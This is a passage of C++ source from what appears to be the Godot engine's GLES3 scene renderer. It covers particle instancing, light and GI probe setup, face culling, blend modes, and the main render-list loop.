VisualServerRaster::redraw_request(); } t = t->get_ptr(); //resolve for proxies #ifdef TOOLS_ENABLED if (t->detect_3d) { t->detect_3d(t->detect_3d_ud); } #endif if (t->render_target) { t->render_target->used_in_frame = true; } glActiveTexture(GL_TEXTURE0); glBindTexture(t->target, t->tex_id); restore_tex = true; } else if (restore_tex) { glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, state.current_main_tex); restore_tex = false; } if (!c.normals.empty()) { glEnableVertexAttribArray(VS::ARRAY_NORMAL); glBufferSubData(GL_ARRAY_BUFFER, buf_ofs, sizeof(Vector3) * vertices, c.normals.ptr()); glVertexAttribPointer(VS::ARRAY_NORMAL, 3, GL_FLOAT, false, sizeof(Vector3), CAST_INT_TO_UCHAR_PTR(buf_ofs)); buf_ofs += sizeof(Vector3) * vertices; } else { glDisableVertexAttribArray(VS::ARRAY_NORMAL); } if (!c.tangents.empty()) { glEnableVertexAttribArray(VS::ARRAY_TANGENT); glBufferSubData(GL_ARRAY_BUFFER, buf_ofs, sizeof(Plane) * vertices, c.tangents.ptr()); glVertexAttribPointer(VS::ARRAY_TANGENT, 4, GL_FLOAT, false, sizeof(Plane), CAST_INT_TO_UCHAR_PTR(buf_ofs)); buf_ofs += sizeof(Plane) * vertices; } else { glDisableVertexAttribArray(VS::ARRAY_TANGENT); } if (!c.colors.empty()) { glEnableVertexAttribArray(VS::ARRAY_COLOR); glBufferSubData(GL_ARRAY_BUFFER, buf_ofs, sizeof(Color) * vertices, c.colors.ptr()); glVertexAttribPointer(VS::ARRAY_COLOR, 4, GL_FLOAT, false, sizeof(Color), CAST_INT_TO_UCHAR_PTR(buf_ofs)); buf_ofs += sizeof(Color) * vertices; } else { glDisableVertexAttribArray(VS::ARRAY_COLOR); glVertexAttrib4f(VS::ARRAY_COLOR, 1, 1, 1, 1); } if (!c.uvs.empty()) { glEnableVertexAttribArray(VS::ARRAY_TEX_UV); glBufferSubData(GL_ARRAY_BUFFER, buf_ofs, sizeof(Vector2) * vertices, c.uvs.ptr()); glVertexAttribPointer(VS::ARRAY_TEX_UV, 2, GL_FLOAT, false, sizeof(Vector2), CAST_INT_TO_UCHAR_PTR(buf_ofs)); buf_ofs += sizeof(Vector2) * vertices; } else { glDisableVertexAttribArray(VS::ARRAY_TEX_UV); } if (!c.uvs2.empty()) { glEnableVertexAttribArray(VS::ARRAY_TEX_UV2); glBufferSubData(GL_ARRAY_BUFFER, buf_ofs, sizeof(Vector2) * vertices, c.uvs2.ptr()); glVertexAttribPointer(VS::ARRAY_TEX_UV2, 2, GL_FLOAT, false, sizeof(Vector2), CAST_INT_TO_UCHAR_PTR(buf_ofs)); buf_ofs += sizeof(Vector2) * vertices; } else { glDisableVertexAttribArray(VS::ARRAY_TEX_UV2); } glEnableVertexAttribArray(VS::ARRAY_VERTEX); glBufferSubData(GL_ARRAY_BUFFER, buf_ofs, sizeof(Vector3) * vertices, c.vertices.ptr()); glVertexAttribPointer(VS::ARRAY_VERTEX, 3, GL_FLOAT, false, sizeof(Vector3), CAST_INT_TO_UCHAR_PTR(buf_ofs)); glDrawArrays(gl_primitive[c.primitive], 0, c.vertices.size()); } if (restore_tex) { glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, state.current_main_tex); restore_tex = false; } } break; case VS::INSTANCE_PARTICLES: { RasterizerStorageGLES3::Particles *particles = static_cast<RasterizerStorageGLES3::Particles *>(e->owner); RasterizerStorageGLES3::Surface *s = static_cast<RasterizerStorageGLES3::Surface *>(e->geometry); if (!particles->use_local_coords) //not using local coordinates? then clear transform.. state.scene_shader.set_uniform(SceneShaderGLES3::WORLD_TRANSFORM, Transform()); int amount = particles->amount; if (particles->draw_order == VS::PARTICLES_DRAW_ORDER_LIFETIME) { //split int stride = sizeof(float) * 4 * 6; int split = int(Math::ceil(particles->phase * particles->amount)); if (amount - split > 0) { glEnableVertexAttribArray(8); //xform x glVertexAttribPointer(8, 4, GL_FLOAT, GL_FALSE, stride, CAST_INT_TO_UCHAR_PTR(stride * split + sizeof(float) * 4 * 3)); glVertexAttribDivisor(8, 1); glEnableVertexAttribArray(9); //xform y glVertexAttribPointer(9, 4, GL_FLOAT, GL_FALSE, stride, CAST_INT_TO_UCHAR_PTR(stride * split + sizeof(float) * 4 * 4)); glVertexAttribDivisor(9, 1); glEnableVertexAttribArray(10); //xform z glVertexAttribPointer(10, 4, GL_FLOAT, GL_FALSE, stride, CAST_INT_TO_UCHAR_PTR(stride * split + sizeof(float) * 4 * 5)); glVertexAttribDivisor(10, 1); glEnableVertexAttribArray(11); //color glVertexAttribPointer(11, 4, GL_FLOAT, GL_FALSE, stride, CAST_INT_TO_UCHAR_PTR(stride * split + 0)); glVertexAttribDivisor(11, 1); glEnableVertexAttribArray(12); //custom glVertexAttribPointer(12, 4, GL_FLOAT, GL_FALSE, stride, CAST_INT_TO_UCHAR_PTR(stride * split + sizeof(float) * 4 * 2)); glVertexAttribDivisor(12, 1); #ifdef DEBUG_ENABLED if (state.debug_draw == VS::VIEWPORT_DEBUG_DRAW_WIREFRAME && s->array_wireframe_id) { glDrawElementsInstanced(GL_LINES, s->index_wireframe_len, GL_UNSIGNED_INT, 0, amount - split); storage->info.render.vertices_count += s->index_array_len * (amount - split); } else #endif if (s->index_array_len > 0) { glDrawElementsInstanced(gl_primitive[s->primitive], s->index_array_len, (s->array_len >= (1 << 16)) ? GL_UNSIGNED_INT : GL_UNSIGNED_SHORT, 0, amount - split); storage->info.render.vertices_count += s->index_array_len * (amount - split); } else { glDrawArraysInstanced(gl_primitive[s->primitive], 0, s->array_len, amount - split); storage->info.render.vertices_count += s->array_len * (amount - split); } } if (split > 0) { glEnableVertexAttribArray(8); //xform x glVertexAttribPointer(8, 4, GL_FLOAT, GL_FALSE, stride, CAST_INT_TO_UCHAR_PTR(sizeof(float) * 4 * 3)); glVertexAttribDivisor(8, 1); glEnableVertexAttribArray(9); //xform y glVertexAttribPointer(9, 4, GL_FLOAT, GL_FALSE, stride, CAST_INT_TO_UCHAR_PTR(sizeof(float) * 4 * 4)); glVertexAttribDivisor(9, 1); glEnableVertexAttribArray(10); //xform z glVertexAttribPointer(10, 4, GL_FLOAT, GL_FALSE, stride, CAST_INT_TO_UCHAR_PTR(sizeof(float) * 4 * 5)); glVertexAttribDivisor(10, 1); glEnableVertexAttribArray(11); //color glVertexAttribPointer(11, 4, GL_FLOAT, GL_FALSE, stride, NULL); glVertexAttribDivisor(11, 1); glEnableVertexAttribArray(12); //custom glVertexAttribPointer(12, 4, GL_FLOAT, GL_FALSE, stride, CAST_INT_TO_UCHAR_PTR(sizeof(float) * 4 * 2)); glVertexAttribDivisor(12, 1); #ifdef DEBUG_ENABLED if (state.debug_draw == VS::VIEWPORT_DEBUG_DRAW_WIREFRAME && s->array_wireframe_id) { glDrawElementsInstanced(GL_LINES, s->index_wireframe_len, GL_UNSIGNED_INT, 0, split); storage->info.render.vertices_count += s->index_array_len * split; } else #endif if (s->index_array_len > 0) { glDrawElementsInstanced(gl_primitive[s->primitive], s->index_array_len, (s->array_len >= (1 << 16)) ? GL_UNSIGNED_INT : GL_UNSIGNED_SHORT, 0, split); storage->info.render.vertices_count += s->index_array_len * split; } else { glDrawArraysInstanced(gl_primitive[s->primitive], 0, s->array_len, split); storage->info.render.vertices_count += s->array_len * split; } } } else { #ifdef DEBUG_ENABLED if (state.debug_draw == VS::VIEWPORT_DEBUG_DRAW_WIREFRAME && s->array_wireframe_id) { glDrawElementsInstanced(GL_LINES, s->index_wireframe_len, GL_UNSIGNED_INT, 0, amount); storage->info.render.vertices_count += s->index_array_len * amount; } else #endif if (s->index_array_len > 0) { glDrawElementsInstanced(gl_primitive[s->primitive], s->index_array_len, (s->array_len >= (1 << 16)) ? GL_UNSIGNED_INT : GL_UNSIGNED_SHORT, 0, amount); storage->info.render.vertices_count += s->index_array_len * amount; } else { glDrawArraysInstanced(gl_primitive[s->primitive], 0, s->array_len, amount); storage->info.render.vertices_count += s->array_len * amount; } } } break; default: { } } } void RasterizerSceneGLES3::_setup_light(RenderList::Element *e, const Transform &p_view_transform) { int omni_indices[16]; int omni_count = 0; int spot_indices[16]; int spot_count = 0; int reflection_indices[16]; int reflection_count = 0; int maxobj = MIN(16, state.max_forward_lights_per_object); int lc = e->instance->light_instances.size(); if (lc) { const RID *lights = e->instance->light_instances.ptr(); for (int i = 0; i < lc; i++) { LightInstance *li = light_instance_owner.getptr(lights[i]); if (li->last_pass != render_pass) //not visible continue; if (li->light_ptr->type == VS::LIGHT_OMNI) { if (omni_count < maxobj && e->instance->layer_mask & li->light_ptr->cull_mask) { omni_indices[omni_count++] = li->light_index; } } if (li->light_ptr->type == VS::LIGHT_SPOT) { if (spot_count < maxobj && e->instance->layer_mask & li->light_ptr->cull_mask) { spot_indices[spot_count++] = li->light_index; } } } } state.scene_shader.set_uniform(SceneShaderGLES3::OMNI_LIGHT_COUNT, omni_count); if (omni_count) { glUniform1iv(state.scene_shader.get_uniform(SceneShaderGLES3::OMNI_LIGHT_INDICES), omni_count, omni_indices); } state.scene_shader.set_uniform(SceneShaderGLES3::SPOT_LIGHT_COUNT, spot_count); if (spot_count) { glUniform1iv(state.scene_shader.get_uniform(SceneShaderGLES3::SPOT_LIGHT_INDICES), spot_count, spot_indices); } int rc = e->instance->reflection_probe_instances.size(); if (rc) { const RID *reflections = e->instance->reflection_probe_instances.ptr(); for (int i = 0; i < rc; i++) { ReflectionProbeInstance *rpi = reflection_probe_instance_owner.getptr(reflections[i]); if (rpi->last_pass != render_pass) //not visible continue; if (reflection_count < maxobj) { reflection_indices[reflection_count++] = rpi->reflection_index; } } } state.scene_shader.set_uniform(SceneShaderGLES3::REFLECTION_COUNT, reflection_count); if (reflection_count) { glUniform1iv(state.scene_shader.get_uniform(SceneShaderGLES3::REFLECTION_INDICES), reflection_count, reflection_indices); } int gi_probe_count = e->instance->gi_probe_instances.size(); if (gi_probe_count) { const RID *ridp = e->instance->gi_probe_instances.ptr(); GIProbeInstance *gipi = gi_probe_instance_owner.getptr(ridp[0]); float bias_scale = e->instance->baked_light ? 1 : 0; glActiveTexture(GL_TEXTURE0 + storage->config.max_texture_image_units - 9); glBindTexture(GL_TEXTURE_3D, gipi->tex_cache); state.scene_shader.set_uniform(SceneShaderGLES3::GI_PROBE_XFORM1, gipi->transform_to_data * p_view_transform); state.scene_shader.set_uniform(SceneShaderGLES3::GI_PROBE_BOUNDS1, gipi->bounds); state.scene_shader.set_uniform(SceneShaderGLES3::GI_PROBE_MULTIPLIER1, gipi->probe ? gipi->probe->dynamic_range * gipi->probe->energy : 0.0); state.scene_shader.set_uniform(SceneShaderGLES3::GI_PROBE_BIAS1, gipi->probe ? gipi->probe->bias * bias_scale : 0.0); state.scene_shader.set_uniform(SceneShaderGLES3::GI_PROBE_NORMAL_BIAS1, gipi->probe ? gipi->probe->normal_bias * bias_scale : 0.0); state.scene_shader.set_uniform(SceneShaderGLES3::GI_PROBE_BLEND_AMBIENT1, gipi->probe ? !gipi->probe->interior : false); state.scene_shader.set_uniform(SceneShaderGLES3::GI_PROBE_CELL_SIZE1, gipi->cell_size_cache); if (gi_probe_count > 1) { GIProbeInstance *gipi2 = gi_probe_instance_owner.getptr(ridp[1]); glActiveTexture(GL_TEXTURE0 + storage->config.max_texture_image_units - 10); glBindTexture(GL_TEXTURE_3D, gipi2->tex_cache); state.scene_shader.set_uniform(SceneShaderGLES3::GI_PROBE_XFORM2, gipi2->transform_to_data * p_view_transform); state.scene_shader.set_uniform(SceneShaderGLES3::GI_PROBE_BOUNDS2, gipi2->bounds); state.scene_shader.set_uniform(SceneShaderGLES3::GI_PROBE_CELL_SIZE2, gipi2->cell_size_cache); state.scene_shader.set_uniform(SceneShaderGLES3::GI_PROBE_MULTIPLIER2, gipi2->probe ? gipi2->probe->dynamic_range * gipi2->probe->energy : 0.0); state.scene_shader.set_uniform(SceneShaderGLES3::GI_PROBE_BIAS2, gipi2->probe ? gipi2->probe->bias * bias_scale : 0.0); state.scene_shader.set_uniform(SceneShaderGLES3::GI_PROBE_NORMAL_BIAS2, gipi2->probe ? gipi2->probe->normal_bias * bias_scale : 0.0); state.scene_shader.set_uniform(SceneShaderGLES3::GI_PROBE_BLEND_AMBIENT2, gipi2->probe ? !gipi2->probe->interior : false); state.scene_shader.set_uniform(SceneShaderGLES3::GI_PROBE2_ENABLED, true); } else { state.scene_shader.set_uniform(SceneShaderGLES3::GI_PROBE2_ENABLED, false); } } else if (!e->instance->lightmap_capture_data.empty()) { glUniform4fv(state.scene_shader.get_uniform_location(SceneShaderGLES3::LIGHTMAP_CAPTURES), 12, (const GLfloat *)e->instance->lightmap_capture_data.ptr()); state.scene_shader.set_uniform(SceneShaderGLES3::LIGHTMAP_CAPTURE_SKY, false); } else if (e->instance->lightmap.is_valid()) { RasterizerStorageGLES3::Texture *lightmap = storage->texture_owner.getornull(e->instance->lightmap); RasterizerStorageGLES3::LightmapCapture *capture = storage->lightmap_capture_data_owner.getornull(e->instance->lightmap_capture->base); if (lightmap && capture) { glActiveTexture(GL_TEXTURE0 + storage->config.max_texture_image_units - 9); glBindTexture(GL_TEXTURE_2D, lightmap->tex_id); state.scene_shader.set_uniform(SceneShaderGLES3::LIGHTMAP_ENERGY, capture->energy); } } } void RasterizerSceneGLES3::_set_cull(bool p_front, bool p_disabled, bool p_reverse_cull) { bool front = p_front; if (p_reverse_cull) front = !front; if (p_disabled != state.cull_disabled) { if (p_disabled) glDisable(GL_CULL_FACE); else glEnable(GL_CULL_FACE); state.cull_disabled = p_disabled; } if (front != state.cull_front) { glCullFace(front ? GL_FRONT : GL_BACK); state.cull_front = front; } } void RasterizerSceneGLES3::_render_list(RenderList::Element **p_elements, int p_element_count, const Transform &p_view_transform, const CameraMatrix &p_projection, GLuint p_base_env, bool p_reverse_cull, bool p_alpha_pass, bool p_shadow, bool p_directional_add, bool p_directional_shadows) { glBindBufferBase(GL_UNIFORM_BUFFER, 0, state.scene_ubo); //bind globals ubo bool use_radiance_map = false; if (!p_shadow && !p_directional_add) { glBindBufferBase(GL_UNIFORM_BUFFER, 2, state.env_radiance_ubo); //bind environment radiance info if (p_base_env) { glActiveTexture(GL_TEXTURE0 + storage->config.max_texture_image_units - 2); if (storage->config.use_texture_array_environment) { glBindTexture(GL_TEXTURE_2D_ARRAY, p_base_env); } else { glBindTexture(GL_TEXTURE_2D, p_base_env); } state.scene_shader.set_conditional(SceneShaderGLES3::USE_RADIANCE_MAP, true); state.scene_shader.set_conditional(SceneShaderGLES3::USE_RADIANCE_MAP_ARRAY, storage->config.use_texture_array_environment); use_radiance_map = true; } else { state.scene_shader.set_conditional(SceneShaderGLES3::USE_RADIANCE_MAP, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_RADIANCE_MAP_ARRAY, false); } } else { state.scene_shader.set_conditional(SceneShaderGLES3::USE_RADIANCE_MAP, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_RADIANCE_MAP_ARRAY, false); } state.cull_front = false; state.cull_disabled = false; glCullFace(GL_BACK); glEnable(GL_CULL_FACE); state.current_depth_test = true; glEnable(GL_DEPTH_TEST); state.scene_shader.set_conditional(SceneShaderGLES3::USE_SKELETON, false); state.current_blend_mode = -1; state.current_line_width = -1; state.current_depth_draw = -1; RasterizerStorageGLES3::Material *prev_material = NULL; RasterizerStorageGLES3::Geometry *prev_geometry = NULL; RasterizerStorageGLES3::GeometryOwner *prev_owner = NULL; VS::InstanceType prev_base_type = VS::INSTANCE_MAX; int current_blend_mode = -1; int prev_shading = -1; RasterizerStorageGLES3::Skeleton *prev_skeleton = NULL; state.scene_shader.set_conditional(SceneShaderGLES3::SHADELESS, true); //by default unshaded (easier to set) bool first = true; bool prev_use_instancing = false; storage->info.render.draw_call_count += p_element_count; bool prev_opaque_prepass = false; for (int i = 0; i < p_element_count; i++) { RenderList::Element *e = p_elements[i]; RasterizerStorageGLES3::Material *material = e->material; RasterizerStorageGLES3::Skeleton *skeleton = NULL; if (e->instance->skeleton.is_valid()) { skeleton = storage->skeleton_owner.getornull(e->instance->skeleton); } bool rebind = first; int shading = (e->sort_key >> RenderList::SORT_KEY_SHADING_SHIFT) & RenderList::SORT_KEY_SHADING_MASK; if (!p_shadow) { if (p_directional_add) { if (e->sort_key & SORT_KEY_UNSHADED_FLAG || !(e->instance->layer_mask & directional_light->light_ptr->cull_mask)) { continue; } shading &= ~1; //ignore the ignore directional for base pass } if (shading != prev_shading) { if (e->sort_key & SORT_KEY_UNSHADED_FLAG) { state.scene_shader.set_conditional(SceneShaderGLES3::SHADELESS, true); state.scene_shader.set_conditional(SceneShaderGLES3::USE_FORWARD_LIGHTING, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_VERTEX_LIGHTING, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_LIGHT_DIRECTIONAL, false); state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_DIRECTIONAL_SHADOW, false); state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_USE_PSSM4, false); state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_USE_PSSM2, false); state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_USE_PSSM_BLEND, false); state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_USE_PSSM_BLEND, false); state.scene_shader.set_conditional(SceneShaderGLES3::SHADOW_MODE_PCF_5, false); state.scene_shader.set_conditional(SceneShaderGLES3::SHADOW_MODE_PCF_13, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_GI_PROBES, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_LIGHTMAP_CAPTURE, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_LIGHTMAP, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_RADIANCE_MAP, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_CONTACT_SHADOWS, false); //state.scene_shader.set_conditional(SceneShaderGLES3::SHADELESS,true); } else { state.scene_shader.set_conditional(SceneShaderGLES3::USE_GI_PROBES, e->instance->gi_probe_instances.size() > 0); state.scene_shader.set_conditional(SceneShaderGLES3::USE_LIGHTMAP, e->instance->lightmap.is_valid() && e->instance->gi_probe_instances.size() == 0); state.scene_shader.set_conditional(SceneShaderGLES3::USE_LIGHTMAP_CAPTURE, !e->instance->lightmap_capture_data.empty() && !e->instance->lightmap.is_valid() && e->instance->gi_probe_instances.size() == 0); state.scene_shader.set_conditional(SceneShaderGLES3::SHADELESS, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_FORWARD_LIGHTING, !p_directional_add); state.scene_shader.set_conditional(SceneShaderGLES3::USE_VERTEX_LIGHTING, (e->sort_key & SORT_KEY_VERTEX_LIT_FLAG)); state.scene_shader.set_conditional(SceneShaderGLES3::USE_LIGHT_DIRECTIONAL, false); state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_DIRECTIONAL_SHADOW, false); state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_USE_PSSM4, false); state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_USE_PSSM2, false); state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_USE_PSSM_BLEND, false); state.scene_shader.set_conditional(SceneShaderGLES3::SHADOW_MODE_PCF_5, shadow_filter_mode == SHADOW_FILTER_PCF5); state.scene_shader.set_conditional(SceneShaderGLES3::SHADOW_MODE_PCF_13, shadow_filter_mode == SHADOW_FILTER_PCF13); state.scene_shader.set_conditional(SceneShaderGLES3::USE_RADIANCE_MAP, use_radiance_map); state.scene_shader.set_conditional(SceneShaderGLES3::USE_CONTACT_SHADOWS, state.used_contact_shadows); if (p_directional_add || (directional_light && (e->sort_key & SORT_KEY_NO_DIRECTIONAL_FLAG) == 0)) { state.scene_shader.set_conditional(SceneShaderGLES3::USE_LIGHT_DIRECTIONAL, true); if (p_directional_shadows && directional_light->light_ptr->shadow) { state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_DIRECTIONAL_SHADOW, true); switch (directional_light->light_ptr->directional_shadow_mode) { case VS::LIGHT_DIRECTIONAL_SHADOW_ORTHOGONAL: break; //none case VS::LIGHT_DIRECTIONAL_SHADOW_PARALLEL_2_SPLITS: state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_USE_PSSM2, true); state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_USE_PSSM_BLEND, directional_light->light_ptr->directional_blend_splits); break; case VS::LIGHT_DIRECTIONAL_SHADOW_PARALLEL_4_SPLITS: state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_USE_PSSM4, true); state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_USE_PSSM_BLEND, directional_light->light_ptr->directional_blend_splits); break; } } } } rebind = true; } if (p_alpha_pass || p_directional_add) { int desired_blend_mode; if (p_directional_add) { desired_blend_mode = RasterizerStorageGLES3::Shader::Spatial::BLEND_MODE_ADD; } else { desired_blend_mode = material->shader->spatial.blend_mode; } if (desired_blend_mode != current_blend_mode) { switch (desired_blend_mode) { case RasterizerStorageGLES3::Shader::Spatial::BLEND_MODE_MIX: { glBlendEquation(GL_FUNC_ADD); if (storage->frame.current_rt && storage->frame.current_rt->flags[RasterizerStorage::RENDER_TARGET_TRANSPARENT]) { glBlendFuncSeparate(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, GL_ONE, GL_ONE_MINUS_SRC_ALPHA); } else { glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); } } break; case RasterizerStorageGLES3::Shader::Spatial::BLEND_MODE_ADD: { glBlendEquation(GL_FUNC_ADD); glBlendFunc(p_alpha_pass ? GL_SRC_ALPHA : GL_ONE, GL_ONE); } break; case RasterizerStorageGLES3::Shader::Spatial::BLEND_MODE_SUB: { glBlendEquation(GL_FUNC_REVERSE_SUBTRACT); glBlendFunc(GL_SRC_ALPHA, GL_ONE); } break; case RasterizerStorageGLES3::Shader::Spatial::BLEND_MODE_MUL: { glBlendEquation(GL_FUNC_ADD); if (storage->frame.current_rt && storage->frame.current_rt->flags[RasterizerStorage::RENDER_TARGET_TRANSPARENT]) { glBlendFuncSeparate(GL_DST_COLOR, GL_ZERO, GL_DST_ALPHA, GL_ZERO); } else { glBlendFuncSeparate(GL_DST_COLOR, GL_ZERO, GL_ZERO, GL_ONE); } } break; } current_blend_mode = desired_blend_mode; } } } bool use_opaque_prepass = e->sort_key & RenderList::SORT_KEY_OPAQUE_PRE_PASS; if (use_opaque_prepass != prev_opaque_prepass) { state.scene_shader.set_conditional(SceneShaderGLES3::USE_OPAQUE_PREPASS, use_opaque_prepass); rebind = true; } bool use_instancing = e->instance->base_type == VS::INSTANCE_MULTIMESH || e->instance->base_type == VS::INSTANCE_PARTICLES; if (use_instancing != prev_use_instancing) { state.scene_shader.set_conditional(SceneShaderGLES3::USE_INSTANCING, use_instancing); rebind = true; } if (prev_skeleton != skeleton) { if ((prev_skeleton == NULL) != (skeleton == NULL)) { state.scene_shader.set_conditional(SceneShaderGLES3::USE_SKELETON, skeleton != NULL); rebind = true; } if (skeleton) { glActiveTexture(GL_TEXTURE0 + storage->config.max_texture_image_units - 1); glBindTexture(GL_TEXTURE_2D, skeleton->texture); } } if (material != prev_material || rebind) { storage->info.render.material_switch_count++; rebind = _setup_material(material, use_opaque_prepass, p_alpha_pass); if (rebind) { storage->info.render.shader_rebind_count++; } } if (!(e->sort_key & SORT_KEY_UNSHADED_FLAG) && !p_directional_add && !p_shadow) { _setup_light(e, p_view_transform); } if (e->owner != prev_owner || prev_base_type != e->instance->base_type || prev_geometry != e->geometry) { _setup_geometry(e, p_view_transform); storage->info.render.surface_switch_count++; } _set_cull(e->sort_key & RenderList::SORT_KEY_MIRROR_FLAG, e->sort_key & RenderList::SORT_KEY_CULL_DISABLED_FLAG, p_reverse_cull); state.scene_shader.set_uniform(SceneShaderGLES3::WORLD_TRANSFORM, e->instance->transform); _render_geometry(e); prev_material = material; prev_base_type = e->instance->base_type; prev_geometry = e->geometry; prev_owner = e->owner; prev_shading = shading; prev_skeleton = skeleton; prev_use_instancing = use_instancing; prev_opaque_prepass = use_opaque_prepass; first = false; } glBindVertexArray(0); state.scene_shader.set_conditional(SceneShaderGLES3::USE_INSTANCING, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_SKELETON, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_RADIANCE_MAP, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_FORWARD_LIGHTING, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_LIGHT_DIRECTIONAL, false); state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_DIRECTIONAL_SHADOW, false); state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_USE_PSSM4, false); state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_USE_PSSM2, false); state.scene_shader.set_conditional(SceneShaderGLES3::LIGHT_USE_PSSM_BLEND, false); state.scene_shader.set_conditional(SceneShaderGLES3::SHADELESS, false); state.scene_shader.set_conditional(SceneShaderGLES3::SHADOW_MODE_PCF_5, false); state.scene_shader.set_conditional(SceneShaderGLES3::SHADOW_MODE_PCF_13, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_GI_PROBES, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_LIGHTMAP, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_LIGHTMAP_CAPTURE, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_CONTACT_SHADOWS, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_VERTEX_LIGHTING, false); state.scene_shader.set_conditional(SceneShaderGLES3::USE_OPAQUE_PREPASS, false); } void RasterizerSceneGLES3::_add_geometry(RasterizerStorageGLES3::Geometry *p_geometry, InstanceBase *p_instance, RasterizerStorageGLES3::GeometryOwner *p_owner, int p_material, bool p_depth_pass, bool p_shadow_pass) { RasterizerStorageGLES3::Material *m = NULL; RID m_src = p_instance->material_override.is_valid() ? p_instance->material_override : (p_material >= 0 ? p_instance->materials[p_material] : p_geometry->material); if (state.debug_draw == VS::VIEWPORT_DEBUG_DRAW_OVERDRAW) { m_src = default_overdraw_material; } /* #ifdef DEBUG_ENABLED if (current_debug==VS::SCENARIO_DEBUG_OVERDRAW) { m_src=overdraw_material; } #endif */ if (m_src.is_valid()) { m = storage->material_owner.getornull(m_src); if (!m->shader || !m->shader->valid) { m = NULL; } } if (!m) { m = storage->material_owner.getptr(default_material); } ERR_FAIL_COND(!m); _add_geometry_with_material(p_geometry, p_instance, p_owner, m, p_depth_pass, p_shadow_pass); while (m->next_pass.is_valid()) { m = storage->material_owner.getornull(m->next_pass); if (!m || !m->shader || !m->shader->valid) break; _add_geometry_with_material(p_geometry, p_instance, p_owner, m, p_depth_pass, p_shadow_pass); } } void RasterizerSceneGLES3::_add_geometry_with_material(RasterizerStorageGLES3::Geometry *p_geometry, InstanceBase *p_instance, RasterizerStorageGLES3::GeometryOwner *p_owner, RasterizerStorageGLES3::Material *p_material, bool p_depth_pass, bool p_shadow_pass) { bool has_base_alpha = (p_material->shader->spatial.uses_alpha && !p_material->shader->spatial.uses_alpha_scissor) || p_material->shader->spatial.uses_screen_texture || p_material->shader->spatial.uses_depth_texture; bool has_blend_alpha = p_material->shader->spatial.blend_mode != RasterizerStorageGLES3::Shader::Spatial::BLEND_MODE_MIX; bool has_alpha = has_base_alpha || has_blend_alpha; bool mirror = p_instance->mirror; bool no_cull = false; if (p_material->shader->spatial.cull_mode == RasterizerStorageGLES3::Shader::Spatial::CULL_MODE_DISABLED) { no_cull = true; mirror = false; } else if (p_material->shader->spatial.cull_mode == RasterizerStorageGLES3::Shader::Spatial::CULL_MODE_FRONT) { mirror = !mirror; } if (p_material->shader->spatial.uses_sss) { state.used_sss = true; } if (p_material->shader->spatial.uses_screen_texture) { state.used_screen_texture = true; } if (p_material->shader->spatial.uses_depth_texture) { state.used_depth_texture = true; } if (p_depth_pass) { if (has_blend_alpha || p_material->shader->spatial.uses_depth_texture || (has_base_alpha && p_material->shader->spatial.depth_draw_mode != RasterizerStorageGLES3::Shader::Spatial::DEPTH_DRAW_ALPHA_PREPASS) || p_material->shader->spatial.depth_draw_mode == RasterizerStorageGLES3::Shader::Spatial::DEPTH_DRAW_NEVER || p_material->shader->spatial.no_depth_test || p_instance->cast_shadows == VS::SHADOW_CASTING_SETTING_OFF) return; //bye if (!p_material->shader->spatial.uses_alpha_scissor && !p_material->shader->spatial.writes_modelview_or_projection && !p_material->shader->spatial.uses_vertex && !p_material->shader->spatial.uses_discard && p_material->shader->spatial.depth_draw_mode != RasterizerStorageGLES3::Shader::Spatial::DEPTH_DRAW_ALPHA_PREPASS) { //shader does not use discard and does not write a vertex position, use generic material if (p_instance->cast_shadows == VS::SHADOW_CASTING_SETTING_DOUBLE_SIDED) { p_material = storage->material_owner.getptr(!p_shadow_pass && p_material->shader->spatial.uses_world_coordinates ? default_worldcoord_material_twosided : default_material_twosided); no_cull = true; mirror = false; } else { p_material = storage->material_owner.getptr(!p_shadow_pass && p_material->shader->spatial.uses_world_coordinates ? default_worldcoord_material : default_material); } } has_alpha = false; } RenderList::Element *e = (has_alpha || p_material->shader->spatial.no_depth_test) ? render_list.add_alpha_element() : render_list.add_element(); if (!e) return; e->geometry = p_geometry; e->material = p_material; e->instance = p_instance; e->owner = p_owner; e->sort_key = 0; if (e->geometry->last_pass != render_pass) { e->geometry->last_pass = render_pass; e->geometry->index = current_geometry_index++; } if (!p_depth_pass && directional_light && (directional_light->light_ptr->cull_mask & e->instance->layer_mask) == 0) { e->sort_key |= SORT_KEY_NO_DIRECTIONAL_FLAG; } e->sort_key |= uint64_t(e->geometry->index) << 